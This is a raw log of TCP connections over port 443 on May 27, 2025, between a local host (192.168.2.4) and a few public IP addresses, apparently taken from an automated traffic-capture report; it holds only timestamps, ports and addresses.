May 27, 2025 20:51:46.943017006 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:46.943063021 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:46.943469048 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:46.943873882 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:46.943928003 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:47.109280109 CEST	49745	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:47.109317064 CEST	443	49745	47.79.48.222	192.168.2.4
May 27, 2025 20:51:47.109369993 CEST	49745	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:47.109474897 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:47.109561920 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:47.109637976 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:47.109684944 CEST	49747	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:47.109775066 CEST	443	49747	47.79.48.222	192.168.2.4
May 27, 2025 20:51:47.109819889 CEST	49748	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:47.109848976 CEST	443	49748	47.79.48.222	192.168.2.4
May 27, 2025 20:51:47.109872103 CEST	49747	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:47.109915972 CEST	49748	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:47.110666990 CEST	49745	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:47.110677958 CEST	443	49745	47.79.48.222	192.168.2.4
May 27, 2025 20:51:47.111283064 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:47.111306906 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:47.111785889 CEST	49747	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:47.111805916 CEST	443	49747	47.79.48.222	192.168.2.4
May 27, 2025 20:51:47.112279892 CEST	49748	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:47.112291098 CEST	443	49748	47.79.48.222	192.168.2.4
May 27, 2025 20:51:47.237018108 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:47.237050056 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:47.237186909 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:47.237186909 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:47.237327099 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:47.237406015 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:47.237559080 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:47.237642050 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:47.245204926 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:47.245238066 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:47.245311022 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:47.245729923 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:47.245804071 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:47.553260088 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:47.553296089 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:47.553452969 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:47.553452969 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:47.553556919 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:47.553628922 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:47.553778887 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:47.553855896 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:47.553997993 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:47.554056883 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:47.554195881 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:47.554245949 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:47.560900927 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:47.561278105 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:47.561372995 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:47.561508894 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:47.561570883 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:47.561898947 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:47.561911106 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:47.561963081 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:47.562050104 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:47.562110901 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:47.562155008 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:47.562191963 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:47.564832926 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:47.565754890 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:47.565818071 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:47.566757917 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:47.566828966 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:47.568963051 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:47.569117069 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:47.569230080 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:47.569288015 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:47.569360971 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:47.569607973 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:47.621011972 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:47.664344072 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:47.866894007 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:47.866904020 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:47.866969109 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:47.867001057 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:47.867033005 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:47.867091894 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:47.867228031 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:47.867284060 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:47.867471933 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:47.867527962 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:47.867528915 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:47.867579937 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:47.867587090 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:47.867647886 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:47.867647886 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:47.867702007 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:47.870580912 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:47.870589018 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:47.870640039 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:47.870672941 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:47.870693922 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:47.870716095 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:47.870739937 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:47.905106068 CEST	49678	443	192.168.2.4	20.189.173.27
May 27, 2025 20:51:48.127186060 CEST	443	49748	47.79.48.222	192.168.2.4
May 27, 2025 20:51:48.127325058 CEST	49748	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:48.129817009 CEST	49748	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:48.129832029 CEST	443	49748	47.79.48.222	192.168.2.4
May 27, 2025 20:51:48.129995108 CEST	49748	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:48.130006075 CEST	443	49748	47.79.48.222	192.168.2.4
May 27, 2025 20:51:48.134155035 CEST	443	49747	47.79.48.222	192.168.2.4
May 27, 2025 20:51:48.134258986 CEST	49747	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:48.139381886 CEST	443	49745	47.79.48.222	192.168.2.4
May 27, 2025 20:51:48.139498949 CEST	49745	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:48.140088081 CEST	443	49748	47.79.48.222	192.168.2.4
May 27, 2025 20:51:48.143008947 CEST	49747	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:48.143021107 CEST	443	49747	47.79.48.222	192.168.2.4
May 27, 2025 20:51:48.143564939 CEST	49745	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:48.143574953 CEST	443	49745	47.79.48.222	192.168.2.4
May 27, 2025 20:51:48.143701077 CEST	49747	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:48.143712044 CEST	443	49747	47.79.48.222	192.168.2.4
May 27, 2025 20:51:48.143831968 CEST	49745	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:48.143838882 CEST	443	49745	47.79.48.222	192.168.2.4
May 27, 2025 20:51:48.146917105 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:48.147095919 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:48.147438049 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:48.147464991 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:48.147557974 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:48.147578001 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:48.148031950 CEST	443	49747	47.79.48.222	192.168.2.4
May 27, 2025 20:51:48.148279905 CEST	443	49745	47.79.48.222	192.168.2.4
May 27, 2025 20:51:48.150933981 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:48.180670977 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:48.180680990 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:48.180744886 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:48.180753946 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:48.180818081 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:48.180852890 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:48.180876017 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:48.183814049 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:48.183872938 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:48.183902025 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:48.183942080 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:48.183979034 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:48.184035063 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:48.184039116 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:48.184088945 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:48.184349060 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:48.184412956 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:48.184645891 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:48.184708118 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:48.184720993 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:48.184751034 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:48.184874058 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:48.184928894 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:48.184931040 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:48.184981108 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:48.186239004 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:48.186306953 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:48.186315060 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:48.186362982 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:48.186364889 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:48.186417103 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:48.186424971 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:48.186486959 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:48.186500072 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:48.186548948 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:48.186551094 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:48.187598944 CEST	49748	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:48.187782049 CEST	49747	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:48.190378904 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:48.191375017 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:48.191447973 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:48.191626072 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:48.191847086 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:48.191905022 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:48.193228960 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:48.193290949 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:48.193439960 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:48.193487883 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:48.194585085 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:48.194740057 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:48.195130110 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:48.195849895 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:48.195987940 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:48.196031094 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:48.197230101 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:48.197418928 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:48.197475910 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:48.198584080 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:48.198730946 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:48.198798895 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:48.199924946 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:48.199984074 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:48.200077057 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:48.200122118 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:48.201014042 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:48.201108932 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:48.201167107 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:48.201180935 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:48.201248884 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:48.201311111 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:48.201342106 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:48.201396942 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:48.201437950 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:48.201462030 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:48.202924967 CEST	49745	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:48.202956915 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:48.230283976 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:48.230309010 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:48.239501953 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:48.239525080 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:48.242328882 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:48.242348909 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:48.247663021 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:48.255743980 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:48.255754948 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:48.257085085 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:48.257091045 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:48.260477066 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:48.260488033 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:48.272696018 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:48.272711992 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:48.273873091 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:48.273889065 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:48.489712000 CEST	443	49748	47.79.48.222	192.168.2.4
May 27, 2025 20:51:48.490293980 CEST	443	49748	47.79.48.222	192.168.2.4
May 27, 2025 20:51:48.490303993 CEST	443	49748	47.79.48.222	192.168.2.4
May 27, 2025 20:51:48.490333080 CEST	443	49748	47.79.48.222	192.168.2.4
May 27, 2025 20:51:48.490360022 CEST	49748	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:48.490381956 CEST	443	49748	47.79.48.222	192.168.2.4
May 27, 2025 20:51:48.490398884 CEST	49748	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:48.490432024 CEST	49748	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:48.490914106 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:48.490923882 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:48.490992069 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:48.491108894 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:48.491108894 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:48.491173983 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:48.491230965 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:48.493751049 CEST	443	49747	47.79.48.222	192.168.2.4
May 27, 2025 20:51:48.494194031 CEST	443	49747	47.79.48.222	192.168.2.4
May 27, 2025 20:51:48.494204044 CEST	443	49747	47.79.48.222	192.168.2.4
May 27, 2025 20:51:48.494246960 CEST	49747	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:48.494246960 CEST	443	49747	47.79.48.222	192.168.2.4
May 27, 2025 20:51:48.494273901 CEST	443	49747	47.79.48.222	192.168.2.4
May 27, 2025 20:51:48.494304895 CEST	49747	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:48.494333029 CEST	49747	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:48.503899097 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:48.504050016 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:48.504059076 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:48.504118919 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:48.504153967 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:48.504163027 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:48.504215002 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:48.505012035 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:48.505455971 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:48.505465984 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:48.505491018 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:48.505505085 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:48.505518913 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:48.505631924 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:48.505631924 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:48.505631924 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:48.505633116 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:48.505712986 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:48.505783081 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:48.505914927 CEST	443	49726	159.138.57.153	192.168.2.4
May 27, 2025 20:51:48.506772041 CEST	443	49745	47.79.48.222	192.168.2.4
May 27, 2025 20:51:48.507191896 CEST	443	49745	47.79.48.222	192.168.2.4
May 27, 2025 20:51:48.507203102 CEST	443	49745	47.79.48.222	192.168.2.4
May 27, 2025 20:51:48.507240057 CEST	443	49745	47.79.48.222	192.168.2.4
May 27, 2025 20:51:48.507256031 CEST	443	49745	47.79.48.222	192.168.2.4
May 27, 2025 20:51:48.507272005 CEST	443	49745	47.79.48.222	192.168.2.4
May 27, 2025 20:51:48.507277966 CEST	49745	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:48.507277966 CEST	49745	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:48.507297993 CEST	443	49745	47.79.48.222	192.168.2.4
May 27, 2025 20:51:48.507319927 CEST	49745	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:48.507319927 CEST	49745	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:48.507339954 CEST	49745	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:48.507847071 CEST	443	49748	47.79.48.222	192.168.2.4
May 27, 2025 20:51:48.507858992 CEST	443	49748	47.79.48.222	192.168.2.4
May 27, 2025 20:51:48.507941961 CEST	49748	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:48.511748075 CEST	443	49747	47.79.48.222	192.168.2.4
May 27, 2025 20:51:48.511759043 CEST	443	49747	47.79.48.222	192.168.2.4
May 27, 2025 20:51:48.511848927 CEST	49747	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:48.520874977 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:48.520885944 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:48.520992041 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:48.521426916 CEST	443	49745	47.79.48.222	192.168.2.4
May 27, 2025 20:51:48.521437883 CEST	443	49745	47.79.48.222	192.168.2.4
May 27, 2025 20:51:48.521507025 CEST	49745	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:48.524126053 CEST	443	49748	47.79.48.222	192.168.2.4
May 27, 2025 20:51:48.524215937 CEST	49748	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:48.527097940 CEST	443	49747	47.79.48.222	192.168.2.4
May 27, 2025 20:51:48.527179003 CEST	49747	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:48.534018993 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:48.534235954 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:48.535239935 CEST	443	49745	47.79.48.222	192.168.2.4
May 27, 2025 20:51:48.535315990 CEST	49745	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:48.558012009 CEST	49726	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:48.635490894 CEST	49736	443	192.168.2.4	159.138.57.153
May 27, 2025 20:51:48.635545969 CEST	443	49736	159.138.57.153	192.168.2.4
May 27, 2025 20:51:48.807992935 CEST	443	49748	47.79.48.222	192.168.2.4
May 27, 2025 20:51:48.808028936 CEST	443	49748	47.79.48.222	192.168.2.4
May 27, 2025 20:51:48.808238029 CEST	49748	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:48.808604002 CEST	49748	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:48.812614918 CEST	443	49747	47.79.48.222	192.168.2.4
May 27, 2025 20:51:48.812648058 CEST	443	49747	47.79.48.222	192.168.2.4
May 27, 2025 20:51:48.815618992 CEST	49747	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:48.815747023 CEST	49747	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:48.819823027 CEST	443	49748	47.79.48.222	192.168.2.4
May 27, 2025 20:51:48.822829008 CEST	49748	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:48.823138952 CEST	49748	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:48.823504925 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:48.823555946 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:48.823681116 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:48.823770046 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:48.825917959 CEST	443	49745	47.79.48.222	192.168.2.4
May 27, 2025 20:51:48.825948954 CEST	443	49745	47.79.48.222	192.168.2.4
May 27, 2025 20:51:48.831479073 CEST	49745	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:48.833344936 CEST	443	49747	47.79.48.222	192.168.2.4
May 27, 2025 20:51:48.834079027 CEST	49745	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:48.834175110 CEST	49747	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:48.834203005 CEST	49747	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:48.838269949 CEST	443	49748	47.79.48.222	192.168.2.4
May 27, 2025 20:51:48.838352919 CEST	49748	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:48.838537931 CEST	49748	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:48.839201927 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:48.839593887 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:48.839679956 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:48.840070009 CEST	443	49745	47.79.48.222	192.168.2.4
May 27, 2025 20:51:48.840353012 CEST	49745	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:48.840399027 CEST	49745	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:48.843714952 CEST	443	49747	47.79.48.222	192.168.2.4
May 27, 2025 20:51:48.846110106 CEST	49747	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:48.846223116 CEST	49747	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:48.852557898 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:48.853688955 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:48.853980064 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:48.855894089 CEST	443	49748	47.79.48.222	192.168.2.4
May 27, 2025 20:51:48.856141090 CEST	49748	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:48.856234074 CEST	49748	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:48.857369900 CEST	443	49745	47.79.48.222	192.168.2.4
May 27, 2025 20:51:48.861454010 CEST	49745	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:48.861753941 CEST	49745	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:48.862668991 CEST	443	49747	47.79.48.222	192.168.2.4
May 27, 2025 20:51:48.863002062 CEST	49747	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:48.864131927 CEST	49747	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:48.871045113 CEST	443	49746	47.79.48.222	192.168.2.4
May 27, 2025 20:51:48.871182919 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:48.871311903 CEST	49746	443	192.168.2.4	47.79.48.222
May 27, 2025 20:51:48.873095989 CEST	443	49748	47.79.48.222	192.168.2.4
